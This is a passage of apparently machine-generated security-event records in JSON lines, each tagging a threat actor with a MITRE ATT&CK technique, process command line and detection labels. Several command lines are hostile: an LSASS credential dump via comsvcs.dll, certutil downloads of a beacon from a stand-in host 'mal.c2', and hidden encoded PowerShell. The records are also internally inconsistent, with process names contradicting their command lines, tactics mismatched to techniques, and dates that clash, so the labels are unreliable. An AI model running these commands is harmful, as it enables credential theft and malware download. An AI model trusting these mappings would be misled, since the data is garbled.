Logs","timestamp":"2026-09-17T15:33:18.000Z","user":{"name":"azuread\\nxd28befa6u7","sid":"S-1-5-21-760169121-361676929-7306"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Execution"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20250829T154842000Z_0018791","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["Base64","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.202.181.171","name":"DB-ORACLE-33CZIH1Y0M","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18791Lapsus$T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.147.58.13","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2156 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-10-02T23:04:18.000Z","user":{"name":"svc_m1igzg6xqfrf","sid":"S-1-5-21-176042501-631006461-1624"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Impact","Lateral Movement"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20260512T094708000Z_0018793","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 \| Join on src_ip within 10m","evasion_used":["Base64","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.202.90.15","name":"IAM-ROLE-JRGZM8550S","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18793Lapsus$T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.1.245.104","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-08-08T05:59:32.000Z","user":{"name":"arn:aws:iam::6k76chx35hvr","sid":"S-1-5-21-498594180-876527137-6208"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Collection"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20260729T085714000Z_0018795","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 \| Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.148.79.59","name":"AZURE-VM-V9JLDYPY21","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18795UNC4841T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.172.153.84","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-10T14:52:06.000Z","user":{"name":"arn:aws:iam::df3gicr44xny","sid":"S-1-5-21-592729984-771965098-8428"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Impact","Privilege Escalation","Persistence"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20250925T045731000Z_0018797","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 \| Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.150.251.231","name":"EC2-INST-TWSWIFYSM4","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18797APT29T1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.115.79.140","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-11-26T00:10:55.000Z","user":{"name":"svc_5j8wyr69e98t","sid":"S-1-5-21-400446093-770934110-8290"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Discovery"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20251104T163323000Z_0018799","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 \| Join on src_ip within 10m","evasion_used":["TLS","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.102.174.3","name":"WIN-FIN-SRV-RO970M9X2S","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18799Mustang PandaT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.103.5.85","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-04-25T23:12:18.000Z","user":{"name":"azuread\\819ydu3110ya","sid":"S-1-5-21-928236158-545606291-7074"}}

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